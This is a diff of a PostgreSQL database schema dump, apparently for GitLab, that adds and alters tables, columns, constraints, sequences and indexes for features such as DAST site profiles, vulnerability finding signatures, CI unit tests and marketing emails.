id bigint NOT NULL,
project_id bigint NOT NULL,
@@ -11815,7 +11855,18 @@ CREATE TABLE dast_site_profiles (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
name text NOT NULL,
- CONSTRAINT check_6cfab17b48 CHECK ((char_length(name) <= 255))
+ excluded_urls text[] DEFAULT '{}'::text[] NOT NULL,
+ auth_enabled boolean DEFAULT false NOT NULL,
+ auth_url text,
+ auth_username_field text,
+ auth_password_field text,
+ auth_username text,
+ target_type smallint DEFAULT 0 NOT NULL,
+ CONSTRAINT check_5203110fee CHECK ((char_length(auth_username_field) <= 255)),
+ CONSTRAINT check_6cfab17b48 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_c329dffdba CHECK ((char_length(auth_password_field) <= 255)),
+ CONSTRAINT check_d446f7047b CHECK ((char_length(auth_url) <= 1024)),
+ CONSTRAINT check_f22f18002a CHECK ((char_length(auth_username) <= 255))
);
CREATE SEQUENCE dast_site_profiles_id_seq
@@ -12198,6 +12249,25 @@ CREATE SEQUENCE draft_notes_id_seq
ALTER SEQUENCE draft_notes_id_seq OWNED BY draft_notes.id;
+CREATE TABLE elastic_index_settings (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ number_of_replicas smallint DEFAULT 1 NOT NULL,
+ number_of_shards smallint DEFAULT 5 NOT NULL,
+ alias_name text NOT NULL,
+ CONSTRAINT check_c30005c325 CHECK ((char_length(alias_name) <= 255))
+);
+
+CREATE SEQUENCE elastic_index_settings_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE elastic_index_settings_id_seq OWNED BY elastic_index_settings.id;
+
CREATE TABLE elastic_reindexing_subtasks (
id bigint NOT NULL,
elastic_reindexing_task_id bigint NOT NULL,
@@ -12415,6 +12485,7 @@ CREATE TABLE events (
target_type character varying,
group_id bigint,
fingerprint bytea,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
CONSTRAINT check_97e06e05ad CHECK ((octet_length(fingerprint) <= 128))
);
@@ -13026,7 +13097,8 @@ CREATE TABLE gitlab_subscription_histories (
gitlab_subscription_id bigint NOT NULL,
created_at timestamp with time zone,
trial_starts_on date,
- auto_renew boolean
+ auto_renew boolean,
+ trial_extension_type smallint
);
CREATE SEQUENCE gitlab_subscription_histories_id_seq
@@ -13053,7 +13125,9 @@ CREATE TABLE gitlab_subscriptions (
trial_starts_on date,
auto_renew boolean,
seats_in_use integer DEFAULT 0 NOT NULL,
- seats_owed integer DEFAULT 0 NOT NULL
+ seats_owed integer DEFAULT 0 NOT NULL,
+ trial_extension_type smallint,
+ CONSTRAINT check_77fea3f0e7 CHECK ((namespace_id IS NOT NULL))
);
CREATE SEQUENCE gitlab_subscriptions_id_seq
@@ -13386,6 +13460,25 @@ CREATE SEQUENCE import_failures_id_seq
ALTER SEQUENCE import_failures_id_seq OWNED BY import_failures.id;
+CREATE TABLE in_product_marketing_emails (
+ id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ cta_clicked_at timestamp with time zone,
+ track smallint NOT NULL,
+ series smallint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE in_product_marketing_emails_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE in_product_marketing_emails_id_seq OWNED BY in_product_marketing_emails.id;
+
CREATE TABLE incident_management_oncall_participants (
id bigint NOT NULL,
oncall_rotation_id bigint NOT NULL,
@@ -13777,7 +13870,9 @@ CREATE TABLE jira_connect_installations (
client_key character varying,
encrypted_shared_secret character varying,
encrypted_shared_secret_iv character varying,
- base_url character varying
+ base_url character varying,
+ instance_url text,
+ CONSTRAINT check_4c6abed669 CHECK ((char_length(instance_url) <= 255))
);
CREATE SEQUENCE jira_connect_installations_id_seq
@@ -13863,6 +13958,7 @@ CREATE TABLE jira_tracker_data (
encrypted_proxy_username_iv text,
encrypted_proxy_password text,
encrypted_proxy_password_iv text,
+ jira_issue_transition_automatic boolean DEFAULT false NOT NULL,
CONSTRAINT check_0bf84b76e9 CHECK ((char_length(vulnerabilities_issuetype) <= 255)),
CONSTRAINT check_214cf6a48b CHECK ((char_length(project_key) <= 255))
);
@@ -13888,7 +13984,9 @@ CREATE TABLE keys (
public boolean DEFAULT false NOT NULL,
last_used_at timestamp without time zone,
fingerprint_sha256 bytea,
- expires_at timestamp with time zone
+ expires_at timestamp with time zone,
+ expiry_notification_delivered_at timestamp with time zone,
+ before_expiry_notification_delivered_at timestamp with time zone
);
CREATE SEQUENCE keys_id_seq
@@ -14039,7 +14137,8 @@ CREATE TABLE licenses (
id integer NOT NULL,
data text NOT NULL,
created_at timestamp without time zone,
- updated_at timestamp without time zone
+ updated_at timestamp without time zone,
+ cloud boolean DEFAULT false
);
CREATE SEQUENCE licenses_id_seq
@@ -14527,6 +14626,24 @@ CREATE SEQUENCE milestones_id_seq
ALTER SEQUENCE milestones_id_seq OWNED BY milestones.id;
+CREATE TABLE namespace_admin_notes (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ namespace_id bigint NOT NULL,
+ note text,
+ CONSTRAINT check_e9d2e71b5d CHECK ((char_length(note) <= 1000))
+);
+
+CREATE SEQUENCE namespace_admin_notes_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE namespace_admin_notes_id_seq OWNED BY namespace_admin_notes.id;
+
CREATE TABLE namespace_aggregation_schedules (
namespace_id integer NOT NULL
);
@@ -14567,7 +14684,9 @@ CREATE TABLE namespace_settings (
allow_mfa_for_subgroups boolean DEFAULT true NOT NULL,
default_branch_name text,
repository_read_only boolean DEFAULT false NOT NULL,
- delayed_project_removal boolean DEFAULT false NOT NULL,
+ delayed_project_removal boolean,
+ resource_access_token_creation_allowed boolean DEFAULT true NOT NULL,
+ lock_delayed_project_removal boolean DEFAULT false NOT NULL,
CONSTRAINT check_0ba93c78c7 CHECK ((char_length(default_branch_name) <= 255))
);
@@ -15546,7 +15665,7 @@ CREATE TABLE packages_rubygems_metadata (
CONSTRAINT check_b7b296b420 CHECK ((char_length(author) <= 255)),
CONSTRAINT check_bf16b21a47 CHECK ((char_length(rdoc_options) <= 255)),
CONSTRAINT check_ca641a3354 CHECK ((char_length(required_ruby_version) <= 255)),
- CONSTRAINT check_ea02f4800f CHECK ((char_length(metadata) <= 255)),
+ CONSTRAINT check_ea02f4800f CHECK ((char_length(metadata) <= 30000)),
CONSTRAINT check_f76bad1a9a CHECK ((char_length(require_paths) <= 255))
);
@@ -16416,6 +16535,7 @@ CREATE TABLE project_settings (
allow_editing_commit_messages boolean DEFAULT false NOT NULL,
prevent_merge_without_jira_issue boolean DEFAULT false NOT NULL,
cve_id_request_enabled boolean DEFAULT true NOT NULL,
+ mr_default_target_self boolean DEFAULT false NOT NULL,
CONSTRAINT check_bde223416c CHECK ((show_default_award_emojis IS NOT NULL))
);
@@ -16780,7 +16900,8 @@ CREATE TABLE push_event_payloads (
commit_to bytea,
ref text,
commit_title character varying(70),
- ref_count integer
+ ref_count integer,
+ event_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE TABLE push_rules (
@@ -16820,7 +16941,8 @@ CREATE TABLE raw_usage_data (
updated_at timestamp with time zone NOT NULL,
recorded_at timestamp with time zone NOT NULL,
sent_at timestamp with time zone,
- payload jsonb NOT NULL
+ payload jsonb NOT NULL,
+ version_usage_data_id_value bigint
);
CREATE SEQUENCE raw_usage_data_id_seq
@@ -17157,7 +17279,8 @@ CREATE TABLE saml_providers (
enforced_sso boolean DEFAULT false NOT NULL,
enforced_group_managed_accounts boolean DEFAULT false NOT NULL,
prohibited_outer_forks boolean DEFAULT true NOT NULL,
- default_membership_role smallint DEFAULT 10 NOT NULL
+ default_membership_role smallint DEFAULT 10 NOT NULL,
+ git_check_enforced boolean DEFAULT false NOT NULL
);
CREATE SEQUENCE saml_providers_id_seq
@@ -17444,6 +17567,8 @@ CREATE TABLE snippet_repositories (
verified_at timestamp with time zone,
verification_checksum bytea,
verification_failure text,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
CONSTRAINT snippet_repositories_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
@@ -18416,23 +18541,23 @@ CREATE SEQUENCE vulnerability_feedback_id_seq
ALTER SEQUENCE vulnerability_feedback_id_seq OWNED BY vulnerability_feedback.id;
-CREATE TABLE vulnerability_finding_fingerprints (
+CREATE TABLE vulnerability_finding_evidences (
id bigint NOT NULL,
- finding_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
- algorithm_type smallint NOT NULL,
- fingerprint_sha256 bytea NOT NULL
+ vulnerability_occurrence_id bigint NOT NULL,
+ summary text,
+ CONSTRAINT check_5773b236fb CHECK ((char_length(summary) <= 8000000))
);
-CREATE SEQUENCE vulnerability_finding_fingerprints_id_seq
+CREATE SEQUENCE vulnerability_finding_evidences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE vulnerability_finding_fingerprints_id_seq OWNED BY vulnerability_finding_fingerprints.id;
+ALTER SEQUENCE vulnerability_finding_evidences_id_seq OWNED BY vulnerability_finding_evidences.id;
CREATE TABLE vulnerability_finding_links (
id bigint NOT NULL,
@@ -18454,6 +18579,24 @@ CREATE SEQUENCE vulnerability_finding_links_id_seq
ALTER SEQUENCE vulnerability_finding_links_id_seq OWNED BY vulnerability_finding_links.id;
+CREATE TABLE vulnerability_finding_signatures (
+ id bigint NOT NULL,
+ finding_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ algorithm_type smallint NOT NULL,
+ signature_sha bytea NOT NULL
+);
+
+CREATE SEQUENCE vulnerability_finding_signatures_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE vulnerability_finding_signatures_id_seq OWNED BY vulnerability_finding_signatures.id;
+
CREATE TABLE vulnerability_findings_remediations (
id bigint NOT NULL,
vulnerability_occurrence_id bigint,
@@ -19083,6 +19226,10 @@ ALTER TABLE ONLY ci_trigger_requests ALTER COLUMN id SET DEFAULT nextval('ci_tri
ALTER TABLE ONLY ci_triggers ALTER COLUMN id SET DEFAULT nextval('ci_triggers_id_seq'::regclass);
+ALTER TABLE ONLY ci_unit_test_failures ALTER COLUMN id SET DEFAULT nextval('ci_unit_test_failures_id_seq'::regclass);
+
+ALTER TABLE ONLY ci_unit_tests ALTER COLUMN id SET DEFAULT nextval('ci_unit_tests_id_seq'::regclass);
+
ALTER TABLE ONLY ci_variables ALTER COLUMN id SET DEFAULT nextval('ci_variables_id_seq'::regclass);
ALTER TABLE ONLY cluster_agent_tokens ALTER COLUMN id SET DEFAULT nextval('cluster_agent_tokens_id_seq'::regclass);
@@ -19141,6 +19288,8 @@ ALTER TABLE ONLY dast_profiles ALTER COLUMN id SET DEFAULT nextval('dast_profile
ALTER TABLE ONLY dast_scanner_profiles ALTER COLUMN id SET DEFAULT nextval('dast_scanner_profiles_id_seq'::regclass);
+ALTER TABLE ONLY dast_site_profile_secret_variables ALTER COLUMN id SET DEFAULT nextval('dast_site_profile_secret_variables_id_seq'::regclass);
+
ALTER TABLE ONLY dast_site_profiles ALTER COLUMN id SET DEFAULT nextval('dast_site_profiles_id_seq'::regclass);
ALTER TABLE ONLY dast_site_tokens ALTER COLUMN id SET DEFAULT nextval('dast_site_tokens_id_seq'::regclass);
@@ -19177,6 +19326,8 @@ ALTER TABLE ONLY dora_daily_metrics ALTER COLUMN id SET DEFAULT nextval('dora_da
ALTER TABLE ONLY draft_notes ALTER COLUMN id SET DEFAULT nextval('draft_notes_id_seq'::regclass);
+ALTER TABLE ONLY elastic_index_settings ALTER COLUMN id SET DEFAULT nextval('elastic_index_settings_id_seq'::regclass);
+
ALTER TABLE ONLY elastic_reindexing_subtasks ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_subtasks_id_seq'::regclass);
ALTER TABLE ONLY elastic_reindexing_tasks ALTER COLUMN id SET DEFAULT nextval('elastic_reindexing_tasks_id_seq'::regclass);
@@ -19287,6 +19438,8 @@ ALTER TABLE ONLY import_export_uploads ALTER COLUMN id SET DEFAULT nextval('impo
ALTER TABLE ONLY import_failures ALTER COLUMN id SET DEFAULT nextval('import_failures_id_seq'::regclass);
+ALTER TABLE ONLY in_product_marketing_emails ALTER COLUMN id SET DEFAULT nextval('in_product_marketing_emails_id_seq'::regclass);
+
ALTER TABLE ONLY incident_management_oncall_participants ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_participants_id_seq'::regclass);
ALTER TABLE ONLY incident_management_oncall_rotations ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_rotations_id_seq'::regclass);
@@ -19385,6 +19538,8 @@ ALTER TABLE ONLY metrics_users_starred_dashboards ALTER COLUMN id SET DEFAULT ne
ALTER TABLE ONLY milestones ALTER COLUMN id SET DEFAULT nextval('milestones_id_seq'::regclass);
+ALTER TABLE ONLY namespace_admin_notes ALTER COLUMN id SET DEFAULT nextval('namespace_admin_notes_id_seq'::regclass);
+
ALTER TABLE ONLY namespace_statistics ALTER COLUMN id SET DEFAULT nextval('namespace_statistics_id_seq'::regclass);
ALTER TABLE ONLY namespaces ALTER COLUMN id SET DEFAULT nextval('namespaces_id_seq'::regclass);
@@ -19691,10 +19846,12 @@ ALTER TABLE ONLY vulnerability_external_issue_links ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
-ALTER TABLE ONLY vulnerability_finding_fingerprints ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_fingerprints_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_evidences ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidences_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_links_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_signatures ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_signatures_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_findings_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_findings_remediations_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_historical_statistics_id_seq'::regclass);
@@ -20023,9 +20180,6 @@ ALTER TABLE ONLY ar_internal_metadata
ALTER TABLE ONLY atlassian_identities
ADD CONSTRAINT atlassian_identities_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY audit_events_archived
- ADD CONSTRAINT audit_events_archived_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY audit_events
ADD CONSTRAINT audit_events_pkey PRIMARY KEY (id, created_at);
@@ -20110,15 +20264,9 @@ ALTER TABLE ONLY chat_names
ALTER TABLE ONLY chat_teams
ADD CONSTRAINT chat_teams_pkey PRIMARY KEY (id);
-ALTER TABLE cluster_agent_tokens
- ADD CONSTRAINT check_0fb634d04d CHECK ((name IS NOT NULL)) NOT VALID;
-
ALTER TABLE vulnerability_scanners
ADD CONSTRAINT check_37608c9db5 CHECK ((char_length(vendor) <= 255)) NOT VALID;
-ALTER TABLE gitlab_subscriptions
- ADD CONSTRAINT check_77fea3f0e7 CHECK ((namespace_id IS NOT NULL)) NOT VALID;
-
ALTER TABLE sprints
ADD CONSTRAINT check_ccd8a1eae0 CHECK ((start_date IS NOT NULL)) NOT VALID;
@@ -20251,6 +20399,12 @@ ALTER TABLE ONLY ci_trigger_requests
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT ci_triggers_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT ci_unit_test_failures_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY ci_unit_tests
+ ADD CONSTRAINT ci_unit_tests_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_variables
ADD CONSTRAINT ci_variables_pkey PRIMARY KEY (id);
@@ -20308,6 +20462,9 @@ ALTER TABLE ONLY clusters_applications_prometheus
ALTER TABLE ONLY clusters_applications_runners
ADD CONSTRAINT clusters_applications_runners_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY clusters_integration_prometheus
+ ADD CONSTRAINT clusters_integration_prometheus_pkey PRIMARY KEY (cluster_id);
+
ALTER TABLE ONLY clusters_kubernetes_namespaces
ADD CONSTRAINT clusters_kubernetes_namespaces_pkey PRIMARY KEY (id);
@@ -20335,12 +20492,18 @@ ALTER TABLE ONLY csv_issue_imports
ALTER TABLE ONLY custom_emoji
ADD CONSTRAINT custom_emoji_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT dast_profiles_pipelines_pkey PRIMARY KEY (dast_profile_id, ci_pipeline_id);
+
ALTER TABLE ONLY dast_profiles
ADD CONSTRAINT dast_profiles_pkey PRIMARY KEY (id);
ALTER TABLE ONLY dast_scanner_profiles
ADD CONSTRAINT dast_scanner_profiles_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_site_profile_secret_variables
+ ADD CONSTRAINT dast_site_profile_secret_variables_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY dast_site_profiles
ADD CONSTRAINT dast_site_profiles_pkey PRIMARY KEY (id);
@@ -20401,6 +20564,9 @@ ALTER TABLE ONLY dora_daily_metrics
ALTER TABLE ONLY draft_notes
ADD CONSTRAINT draft_notes_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY elastic_index_settings
+ ADD CONSTRAINT elastic_index_settings_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY elastic_reindexing_subtasks
ADD CONSTRAINT elastic_reindexing_subtasks_pkey PRIMARY KEY (id);
@@ -20581,6 +20747,9 @@ ALTER TABLE ONLY import_export_uploads
ALTER TABLE ONLY import_failures
ADD CONSTRAINT import_failures_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY in_product_marketing_emails
+ ADD CONSTRAINT in_product_marketing_emails_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY incident_management_oncall_shifts
ADD CONSTRAINT inc_mgmnt_no_overlapping_oncall_shifts EXCLUDE USING gist (rotation_id WITH =, tstzrange(starts_at, ends_at, '[)'::text) WITH &&);
@@ -20758,6 +20927,9 @@ ALTER TABLE ONLY milestone_releases
ALTER TABLE ONLY milestones
ADD CONSTRAINT milestones_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY namespace_admin_notes
+ ADD CONSTRAINT namespace_admin_notes_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY namespace_aggregation_schedules
ADD CONSTRAINT namespace_aggregation_schedules_pkey PRIMARY KEY (namespace_id);
@@ -21304,12 +21476,15 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY vulnerability_finding_fingerprints
- ADD CONSTRAINT vulnerability_finding_fingerprints_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_evidences
+ ADD CONSTRAINT vulnerability_finding_evidences_pkey PRIMARY KEY (id);
ALTER TABLE ONLY vulnerability_finding_links
ADD CONSTRAINT vulnerability_finding_links_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_signatures
+ ADD CONSTRAINT vulnerability_finding_signatures_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_findings_remediations
ADD CONSTRAINT vulnerability_findings_remediations_pkey PRIMARY KEY (id);
@@ -21505,8 +21680,6 @@ CREATE INDEX product_analytics_events_experi_project_id_collector_tstamp_idx ON
CREATE INDEX active_billable_users ON users USING btree (id) WHERE (((state)::text = 'active'::text) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[NULL::integer, 6, 4]))) AND ((user_type IS NULL) OR (user_type <> ALL ('{2,6,1,3,7,8}'::smallint[]))));
-CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events_archived USING btree (created_at, author_id);
-
CREATE INDEX analytics_index_audit_events_part_on_created_at_and_author_id ON ONLY audit_events USING btree (created_at, author_id);
CREATE INDEX analytics_index_events_on_created_at_and_author_id ON events USING btree (created_at, author_id);
@@ -21539,12 +21712,14 @@ CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON epic_user_mentions US
CREATE INDEX expired_artifacts_temp_index ON ci_job_artifacts USING btree (id, created_at) WHERE ((expire_at IS NULL) AND (date(timezone('UTC'::text, created_at)) < '2020-06-22'::date));
-CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
+CREATE INDEX finding_evidences_on_vulnerability_occurrence_id ON vulnerability_finding_evidences USING btree (vulnerability_occurrence_id);
-CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events_archived USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+CREATE INDEX idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id ON award_emoji USING btree (user_id, name, awardable_type, awardable_id);
+
CREATE INDEX idx_ci_pipelines_artifacts_locked ON ci_pipelines USING btree (ci_ref_id, id) WHERE (locked = 1);
CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at_enabled ON container_expiration_policies USING btree (project_id, next_run_at, enabled);
@@ -21575,6 +21750,8 @@ CREATE INDEX idx_jira_connect_subscriptions_on_installation_id ON jira_connect_s
CREATE UNIQUE INDEX idx_jira_connect_subscriptions_on_installation_id_namespace_id ON jira_connect_subscriptions USING btree (jira_connect_installation_id, namespace_id);
+CREATE INDEX idx_keys_expires_at_and_before_expiry_notification_undelivered ON keys USING btree (date(timezone('UTC'::text, expires_at)), before_expiry_notification_delivered_at) WHERE (before_expiry_notification_delivered_at IS NULL);
+
CREATE INDEX idx_members_created_at_user_id_invite_token ON members USING btree (created_at) WHERE ((invite_token IS NOT NULL) AND (user_id IS NULL));
CREATE INDEX idx_merge_requests_on_id_and_merge_jid ON merge_requests USING btree (id, merge_jid) WHERE ((merge_jid IS NOT NULL) AND (state_id = 4));
@@ -21593,6 +21770,8 @@ CREATE UNIQUE INDEX idx_metrics_users_starred_dashboard_on_user_project_dashboar
CREATE INDEX idx_mr_cc_diff_files_on_mr_cc_id_and_sha ON merge_request_context_commit_diff_files USING btree (merge_request_context_commit_id, sha);
+CREATE INDEX idx_mrs_on_target_id_and_created_at_and_state_id ON merge_requests USING btree (target_project_id, state_id, created_at, id);
+
CREATE UNIQUE INDEX idx_on_compliance_management_frameworks_namespace_id_name ON compliance_management_frameworks USING btree (namespace_id, name);
CREATE UNIQUE INDEX idx_on_external_approval_rules_project_id_external_url ON external_approval_rules USING btree (project_id, external_url);
@@ -21645,9 +21824,9 @@ CREATE INDEX idx_security_scans_on_scan_type ON security_scans USING btree (scan
CREATE UNIQUE INDEX idx_serverless_domain_cluster_on_clusters_applications_knative ON serverless_domain_cluster USING btree (clusters_applications_knative_id);
-CREATE UNIQUE INDEX idx_vuln_fingerprints_on_occurrences_id_and_fingerprint_sha256 ON vulnerability_finding_fingerprints USING btree (finding_id, fingerprint_sha256);
+CREATE UNIQUE INDEX idx_vuln_signatures_on_occurrences_id_and_signature_sha ON vulnerability_finding_signatures USING btree (finding_id, signature_sha);
-CREATE UNIQUE INDEX idx_vuln_fingerprints_uniqueness_fingerprint_sha256 ON vulnerability_finding_fingerprints USING btree (finding_id, algorithm_type, fingerprint_sha256);
+CREATE UNIQUE INDEX idx_vuln_signatures_uniqueness_signature_sha ON vulnerability_finding_signatures USING btree (finding_id, algorithm_type, signature_sha);
CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_ext_issue ON vulnerability_external_issue_links USING btree (vulnerability_id, external_type, external_project_key, external_issue_key);
@@ -21785,8 +21964,6 @@ CREATE INDEX index_authentication_events_on_user_id ON authentication_events USI
CREATE INDEX index_award_emoji_on_awardable_type_and_awardable_id ON award_emoji USING btree (awardable_type, awardable_id);
-CREATE INDEX index_award_emoji_on_user_id_and_name ON award_emoji USING btree (user_id, name);
-
CREATE UNIQUE INDEX index_aws_roles_on_role_external_id ON aws_roles USING btree (role_external_id);
CREATE UNIQUE INDEX index_aws_roles_on_user_id ON aws_roles USING btree (user_id);
@@ -21995,6 +22172,10 @@ CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON ci_job_variables
CREATE UNIQUE INDEX index_ci_namespace_monthly_usages_on_namespace_id_and_date ON ci_namespace_monthly_usages USING btree (namespace_id, date);
+CREATE INDEX index_ci_pipeline_artifacts_failed_verification ON ci_pipeline_artifacts USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_ci_pipeline_artifacts_needs_verification ON ci_pipeline_artifacts USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE INDEX index_ci_pipeline_artifacts_on_expire_at ON ci_pipeline_artifacts USING btree (expire_at);
CREATE INDEX index_ci_pipeline_artifacts_on_pipeline_id ON ci_pipeline_artifacts USING btree (pipeline_id);
@@ -22003,6 +22184,10 @@ CREATE UNIQUE INDEX index_ci_pipeline_artifacts_on_pipeline_id_and_file_type ON
CREATE INDEX index_ci_pipeline_artifacts_on_project_id ON ci_pipeline_artifacts USING btree (project_id);
+CREATE INDEX index_ci_pipeline_artifacts_pending_verification ON ci_pipeline_artifacts USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
+CREATE INDEX index_ci_pipeline_artifacts_verification_state ON ci_pipeline_artifacts USING btree (verification_state);
+
CREATE INDEX index_ci_pipeline_chat_data_on_chat_name_id ON ci_pipeline_chat_data USING btree (chat_name_id);
CREATE UNIQUE INDEX index_ci_pipeline_chat_data_on_pipeline_id ON ci_pipeline_chat_data USING btree (pipeline_id);
@@ -22015,6 +22200,8 @@ CREATE INDEX index_ci_pipeline_schedules_on_next_run_at_and_active ON ci_pipelin
CREATE INDEX index_ci_pipeline_schedules_on_owner_id ON ci_pipeline_schedules USING btree (owner_id);
+CREATE INDEX index_ci_pipeline_schedules_on_owner_id_and_id_and_active ON ci_pipeline_schedules USING btree (owner_id, id) WHERE (active = true);
+
CREATE INDEX index_ci_pipeline_schedules_on_project_id ON ci_pipeline_schedules USING btree (project_id);
CREATE UNIQUE INDEX index_ci_pipeline_variables_on_pipeline_id_and_key ON ci_pipeline_variables USING btree (pipeline_id, key);
@@ -22059,6 +22246,8 @@ CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_config_source ON c
CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_source ON ci_pipelines USING btree (user_id, created_at, source);
+CREATE INDEX index_ci_pipelines_on_user_id_and_id_and_cancelable_status ON ci_pipelines USING btree (user_id, id) WHERE ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('waiting_for_resource'::character varying)::text, ('preparing'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text, ('scheduled'::character varying)::text]));
+
CREATE UNIQUE INDEX index_ci_project_monthly_usages_on_project_id_and_date ON ci_project_monthly_usages USING btree (project_id, date);
CREATE UNIQUE INDEX index_ci_refs_on_project_id_and_ref_path ON ci_refs USING btree (project_id, ref_path);
@@ -22103,6 +22292,8 @@ CREATE UNIQUE INDEX index_ci_sources_projects_on_source_project_id_and_pipeline_
CREATE INDEX index_ci_stages_on_pipeline_id ON ci_stages USING btree (pipeline_id);
+CREATE INDEX index_ci_stages_on_pipeline_id_and_id ON ci_stages USING btree (pipeline_id, id) WHERE (status = ANY (ARRAY[0, 1, 2, 8, 9, 10]));
+
CREATE UNIQUE INDEX index_ci_stages_on_pipeline_id_and_name ON ci_stages USING btree (pipeline_id, name);
CREATE INDEX index_ci_stages_on_pipeline_id_and_position ON ci_stages USING btree (pipeline_id, "position");
@@ -22125,6 +22316,10 @@ CREATE INDEX index_ci_triggers_on_owner_id ON ci_triggers USING btree (owner_id)
CREATE INDEX index_ci_triggers_on_project_id ON ci_triggers USING btree (project_id);
+CREATE INDEX index_ci_unit_test_failures_on_build_id ON ci_unit_test_failures USING btree (build_id);
+
+CREATE UNIQUE INDEX index_ci_unit_tests_on_project_id_and_key_hash ON ci_unit_tests USING btree (project_id, key_hash);
+
CREATE INDEX index_ci_variables_on_key ON ci_variables USING btree (key);
CREATE UNIQUE INDEX index_ci_variables_on_project_id_and_key_and_environment_scope ON ci_variables USING btree (project_id, key, environment_scope);
@@ -22233,6 +22428,8 @@ CREATE INDEX index_dast_profiles_on_dast_site_profile_id ON dast_profiles USING
CREATE UNIQUE INDEX index_dast_profiles_on_project_id_and_name ON dast_profiles USING btree (project_id, name);
+CREATE UNIQUE INDEX index_dast_profiles_pipelines_on_ci_pipeline_id ON dast_profiles_pipelines USING btree (ci_pipeline_id);
+
CREATE UNIQUE INDEX index_dast_scanner_profiles_on_project_id_and_name ON dast_scanner_profiles USING btree (project_id, name);
